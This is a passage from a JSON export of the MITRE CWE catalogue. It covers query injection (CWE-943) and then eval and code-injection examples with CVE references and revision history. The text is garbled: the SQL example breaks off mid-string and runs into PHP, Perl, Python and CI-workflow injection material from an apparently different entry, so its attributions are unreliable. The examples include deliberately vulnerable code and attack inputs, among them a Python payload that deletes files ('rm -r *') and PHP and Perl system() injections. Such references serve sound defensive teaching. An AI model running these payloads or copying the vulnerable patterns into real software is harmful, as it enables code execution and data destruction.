"Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "943", "@Name": "Improper Neutralization of Special Elements in Data Query Logic", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.", "Technical_Nuance": {"xhtml:p": "While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and \"NoSQL\" languages.", "#text_blocks": ["While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and \"NoSQL\" languages."]}, "Dimensions": {"Dimension": [{"@Type": "Behavior-Property", "#text": "Improper"}, {"@Type": "Behavior-Type", "#text": "Neutralization"}, {"@Type": "Input-Type", "#text": "Special Elements"}, {"@Type": "Other", "#text": "Data Query Logic"}]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary", "Dimensions": {"Dimension": {"@Type": "Other", "#text": "Data Query Logic"}}}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "NoSQL Injection, NoSQLi", "Description": "Injection of data query language into NoSQL databases such as Cassandra, ElasticSearch, MongoDB, Redis, and others"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": ["Confidentiality", "Integrity", "Availability", "Access Control"], "Impact": ["Bypass Protection Mechanism", "Read Application Data", "Modify Application Data", "Varies by Context"], "Note": {"xhtml:p": ["Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:", "The ability to execute additional commands or change which entities are returned has obvious risks. But when the product logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges."], "xhtml:ul": {"xhtml:li": ["Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated", "Append additional commands to the query", "Return more entities than intended", "Return fewer entities than intended", "Cause entities to be sorted in an unexpected way"]}, "#text_blocks": ["Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:", "Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated", "Append additional commands to the query", "Return more entities than intended", "Return fewer entities than intended", "Cause entities to be sorted in an unexpected way", "The ability to execute additional commands or change which entities are returned has obvious risks. But when the product logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges."]}}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-209", "Intro_Text": "The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.", "Example_Code": [{"@Nature": "Bad", "@Language": "C#", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null], "#text": "...string userName = ctx.getAuthenticatedUserName();string query = \"SELECT * FROM items WHERE owner = '\" + userName + \"' AND itemname = '\" + ItemName.Text + \"'\";sda = new SqlDataAdapter(query, conn);DataTable dt = new DataTable();sda.Fill(dt);..."}, "#text_blocks": ["...", "string userName = ctx.getAuthenticatedUserName();", "string query = \"SELECT * FROM items WHERE owner = '\" + userName + \"' AND itemname = '\" + ItemName.Text + \"'\";", "sda = new SqlDataAdapter(query, conn);", "DataTable dt = new DataTable();", "sda.Fill(dt);", "..."]}, {"@Nature": "Informative", "xhtml:div": "SELECT * FROM items WHERE owner = \\n\";"}, {"@style": "margin-left:1em;", "#text": "include($MessageFile);"}], "#text": "$MessageFile = \"messages.out\";if ($_GET[\"action\"] == \"NewMessage\") {}else if ($_GET[\"action\"] == \"ViewMessages\") {}"}, "#text_blocks": ["$MessageFile = \"messages.out\";", "if ($_GET[\"action\"] == \"NewMessage\") {", "$name = $_GET[\"name\"];", "$message = $_GET[\"message\"];", "$handle = fopen($MessageFile, \"a+\");", "fwrite($handle, \"$name says '$message' \\n\";", "}", "else if ($_GET[\"action\"] == \"ViewMessages\") {", "include($MessageFile);", "}"]}, {"@Nature": "Attack", "xhtml:div": {"xhtml:br": null, "#text": "name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"}, "#text_blocks": ["name=h4x0r", "message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E"]}, {"@Nature": "Attack", "xhtml:div": "", "#text_blocks": [""]}], "Body_Text": ["While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:", "which will decode to the following:", "The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.", "Notice that XSS (CWE-79) is also possible in this situation."]}, {"@Demonstrative_Example_ID": "DX-31", "Intro_Text": "edit-config.pl: This CGI script is used to modify settings in a configuration file.", "Example_Code": [{"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:i": "# code to add a field/key to a file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:i": "# code to set key to a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:i": "# code to delete key from a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null], "xhtml:i": ["# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!"], "#text": "my ($fname, $action) = @_;my $key = param('key');my $val = param('val');\n \n \n \n \n \n \n \n my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";eval($code);"}}, {"@style": "margin-left:1em;", "#text": "handleConfigAction($configfile, param('action'));"}, {"@style": "margin-left:1em;", "#text": "print \"No action specified!\\n\";"}], "#text": "use CGI qw(:standard);\n sub config_file_add_key {}\n sub config_file_set_key {}\n sub config_file_delete_key {}\n sub handleConfigAction {}\n $configfile = \"/home/cwe/config.txt\";print header;if (defined(param('action'))) {}else {}"}, "#text_blocks": ["use CGI qw(:standard);", "sub config_file_add_key {", "my ($fname, $key, $arg) = @_;", "# code to add a field/key to a file goes here", "}", "sub config_file_set_key {", "my ($fname, $key, $arg) = @_;", "# code to set key to a particular file goes here", "}", "sub config_file_delete_key {", "my ($fname, $key, $arg) = @_;", "# code to delete key from a particular file goes here", "}", "sub handleConfigAction {", "my ($fname, $action) = @_;", "my $key = param('key');", "my $val = param('val');", "# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!", "my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";", "eval($code);", "}", "$configfile = \"/home/cwe/config.txt\";", "print header;", "if (defined(param('action'))) {", "handleConfigAction($configfile, param('action'));", "}", "else {", "print \"No action specified!\\n\";", "}"]}, {"@Nature": "Attack", "xhtml:div": "add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["add_key(\",\",\"); system(\"/bin/ls\");"]}, {"@Nature": "Result", "xhtml:div": "config_file_add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["config_file_add_key(\",\",\"); system(\"/bin/ls\");"]}], "Body_Text": ["The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:", "This would produce the following string in handleConfigAction():", "Any arbitrary Perl code could be added after the attacker has \"closed off\" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the \"_key(\\$fname, \\$key, \\$val)\" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated."]}, {"@Demonstrative_Example_ID": "DX-156", "Intro_Text": "This simple python3 script asks a user to supply a comma-separated list of numbers as input and adds them together.", "Example_Code": [{"@Nature": "Bad", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "#text": "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")\n\t\t return"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + num"}], "#text": "sum = 0\n\t\t try:\n\t\t \n\t\t except SyntaxError:\n\t\t \n for num in numbers:\n \n print(f\"Sum of {numbers} = {sum}\")"}, "#text": "def main():\n \n main()"}, "#text_blocks": ["def main():", "sum = 0", "try:", "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))", "except SyntaxError:", "print(\"Error: invalid input\")", "return", "for num in numbers:", "sum = sum + num", "print(f\"Sum of {numbers} = {sum}\")", "main()"]}, {"@Nature": "Attack", "xhtml:div": "__import__('subprocess').getoutput('rm -r *')", "#text_blocks": ["__import__('subprocess').getoutput('rm -r *')"]}, {"@Nature": "Good", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + int(num)"}, "#text": "for num in numbers:\n \n print(f\"Sum of {numbers} = {sum}\")"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")"}], "#text": "sum = 0\n numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")\n try:\n \n except ValueError:"}, "#text": "def main():\n \n main()"}, "#text_blocks": ["def main():", "sum = 0", "numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")", "try:", "for num in numbers:", "sum = sum + int(num)", "print(f\"Sum of {numbers} = {sum}\")", "except ValueError:", "print(\"Error: invalid input\")", "main()"]}], "Body_Text": ["The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:", "This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.", "A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.", "An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373]."]}, {"@Demonstrative_Example_ID": "DX-236", "Intro_Text": "The following code is a workflow job written\n\t using YAML. The code attempts to download pull request\n\t artifacts, unzip from the artifact called pr.zip and\n\t extract the value of the file NR into a variable\n\t \"pr_number\" that will be used later in another job. It\n\t attempts to create a github workflow environment\n\t variable, writing to $GITHUB_ENV. The environment\n\t variable value is retrieved from an external\n\t resource.", "Example_Code": [{"@Nature": "Bad", "@Language": "Other", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t repo: context.repo.repo,\n\t\t\t run_id: ${{ github.event.workflow_run.id }},"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "return artifact.name == \"pr\""}, {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t repo: context.repo.repo,\n\t\t\t artifact_id: matchPrArtifact.id,\n\t\t\t archive_format: 'zip',"}], "#text": "var artifacts = await github.actions.listWorkflowRunArtifacts({\n\t\t\t \n\t\t\t });\n\t\t\t var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {\n\t\t\t \n\t\t\t })[0];\n\t\t\t var downloadPr = await github.actions.downloadArtifact({\n\t\t\t \n\t\t\t });\n\t\t\t var fs = require('fs');\n\t\t\t fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));"}, "#text": "script: |"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "unzip pr.zip\n\t\t\techo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"}], "#text": "- name: 'Download artifact'\n\t\t uses: actions/github-script\n\t\t with:\n\t\t \n\t\t - run: |"}, "#text": "runs-on: ubuntu-latest\n\t\t steps:"}, "#text": "deploy:"}, "#text": "name: Deploy Preview\n\t\tjobs:", "#text_blocks": ["name: Deploy Preview", "jobs:", "deploy:", "runs-on: ubuntu-latest", "steps:", "- name: 'Download artifact'", "uses: actions/github-script", "with:", "script: |", "var artifacts = await github.actions.listWorkflowRunArtifacts({", "owner: context.repo.owner,", "repo: context.repo.repo,", "run_id: ${{ github.event.workflow_run.id }},", "});", "var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {", "return artifact.name == \"pr\"", "})[0];", "var downloadPr = await github.actions.downloadArtifact({", "owner: context.repo.owner,", "repo: context.repo.repo,", "artifact_id: matchPrArtifact.id,", "archive_format: 'zip',", "});", "var fs = require('fs');", "fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));", "- run: |", "unzip pr.zip", "echo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"]}, {"@Nature": "Attack", "#text": "\\nNODE_OPTIONS=\"--experimental-modules --experiments-loader=data:text/javascript,console.log('injected code');//\""}, {"@Nature": "Good", "@Language": "Other", "#text": "The code could be modified to validate that the NR\n\t\tfile only contains a numeric value, or the code could\n\t\tretrieve the PR number from a more trusted source."}], "Body_Text": [{"xhtml:p": ["The code does not neutralize the value of the\n\t file NR, e.g. by validating that NR only contains a\n\t number (CWE-1284). The NR file is attacker controlled\n\t because it originates from a pull request that produced\n\t pr.zip.", "The attacker could escape the existing\n\t pr_number and create a new variable using a \"\\n\"\n\t (CWE-93) followed by any environment variable to be\n\t added such as:"], "#text_blocks": ["The code does not neutralize the value of the\n\t file NR, e.g. by validating that NR only contains a\n\t number (CWE-1284). The NR file is attacker controlled\n\t because it originates from a pull request that produced\n\t pr.zip.", "The attacker could escape the existing\n\t pr_number and create a new variable using a \"\\n\"\n\t (CWE-93) followed by any environment variable to be\n\t added such as:"]}, {"xhtml:p": "This would result in injecting and running\n\t javascript code (CWE-94) on the workflow runner with\n\t elevated privileges.", "#text_blocks": ["This would result in injecting and running\n\t javascript code (CWE-94) on the workflow runner with\n\t elevated privileges."]}]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2023-29374", "Description": "Math component in an LLM framework translates user input into a Python\n\t\t\t expression that is input into the Python exec() method, allowing code\n\t\t\t execution - one variant of a \"prompt injection\" attack.", "Link": "https://www.cve.org/CVERecord?id=CVE-2023-29374"}, {"Reference": "CVE-2024-5565", "Description": "Python-based library uses an LLM prompt containing user input to\n\t\t\t dynamically generate code that is then fed as input into the Python\n\t\t\t exec() method, allowing code execution - one variant of a \"prompt\n\t\t\t injection\" attack.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-5565"}, {"Reference": "CVE-2024-4181", "Description": "Framework for LLM applications allows eval injection via a crafted response from a hosting provider.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-4181"}, {"Reference": "CVE-2022-2054", "Description": "Python compiler uses eval() to execute malicious strings as Python code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-2054"}, {"Reference": "CVE-2021-22204", "Description": "Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22204"}, {"Reference": "CVE-2020-8218", "Description": "\"Code injection\" in VPN product, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-8218"}, {"Reference": "CVE-2008-5071", "Description": "Eval injection in PHP program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5071"}, {"Reference": "CVE-2002-1750", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1750"}, {"Reference": "CVE-2008-5305", "Description": "Eval injection in Perl program using an ID that should only contain hyphens and numbers.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5305"}, {"Reference": "CVE-2002-1752", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1752"}, {"Reference": "CVE-2002-1753", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1753"}, {"Reference": "CVE-2005-1527", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1527"}, {"Reference": "CVE-2005-2837", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2837"}, {"Reference": "CVE-2005-1921", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1921"}, {"Reference": "CVE-2005-2498", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2498"}, {"Reference": "CVE-2005-3302", "Description": "Code injection into Python eval statement from a field in a formatted file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3302"}, {"Reference": "CVE-2007-1253", "Description": "Eval injection in Python program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1253"}, {"Reference": "CVE-2001-1471", "Description": "Chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1471"}, {"Reference": "CVE-2002-0495", "Description": "Perl code directly injected into CGI library file from parameters to another CGI program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-0495"}, {"Reference": "CVE-2005-1876", "Description": "Direct PHP code injection into supporting template file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1876"}, {"Reference": "CVE-2005-1894", "Description": "Direct code injection into PHP script that can be accessed by attacker.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1894"}, {"Reference": "CVE-2003-0395", "Description": "PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-0395"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_ID": "CODE", "Entry_Name": "Code Evaluation and Injection"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-2", "Entry_Name": "Req CR 3.5"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 3-3", "Entry_Name": "Req SR 3.5"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-1", "Entry_Name": "Req SVV-1"}, {"@Taxonomy_Name": "ISA/IEC 62443", "Entry_ID": "Part 4-1", "Entry_Name": "Req SVV-3"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "242"}, {"@CAPEC_ID": "35"}, {"@CAPEC_ID": "77"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-44", "@Section": "\"Sin 3: Web-Client Related Vulnerabilities (XSS).\" Page 63"}, {"@External_Reference_ID": "REF-1372"}, {"@External_Reference_ID": "REF-1373", "@Section": "ast.literal_eval(node_or_string)"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This entry is frequently misused for vulnerabilities with a technical impact of \"code execution,\" which does not by itself indicate a root cause weakness, since dozens of weaknesses can enable code execution.", "Comments": "This weakness only applies when the product's functionality intentionally constructs all or part of a code segment. It could be that executing code could be the result of other weaknesses that do not involve the construction of code segments.", "Reasons": {"Reason": [{"@Type": "Frequent Misuse"}, {"@Type": "Frequent Misinterpretation"}]}}, "Notes": {"Note": {"@Type": "Theoretical", "xhtml:p": "Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.", "#text_blocks": ["Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features that classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities."]}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-01-12", "Modification_Version": "1.2", "Modification_ReleaseDate": "2009-01-12", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-03-10", "Modification_Version": "1.3", "Modification_ReleaseDate": "2009-03-10", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Demonstrative_Examples, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-03-29", "Modification_Version": "1.12", "Modification_ReleaseDate": "2011-03-30", "Modification_Comment": "updated Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Demonstrative_Examples, Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-09-19", "Modification_Version": "3.4", "Modification_ReleaseDate": "2019-09-19", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-08-20", "Modification_Version": "4.2", "Modification_ReleaseDate": "2020-08-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-07-20", "Modification_Version": "4.5", "Modification_ReleaseDate": "2021-07-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-06-28", "Modification_Version": "4.8", "Modification_ReleaseDate": "2022-06-28", "Modification_Comment": "updated Observed_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Demonstrative_Examples, Description, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes, Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples, Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-07-16", "Modification_Version": "4.15", "Modification_ReleaseDate": "2024-07-16", "Modification_Comment": "updated Applicable_Platforms, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-11-19", 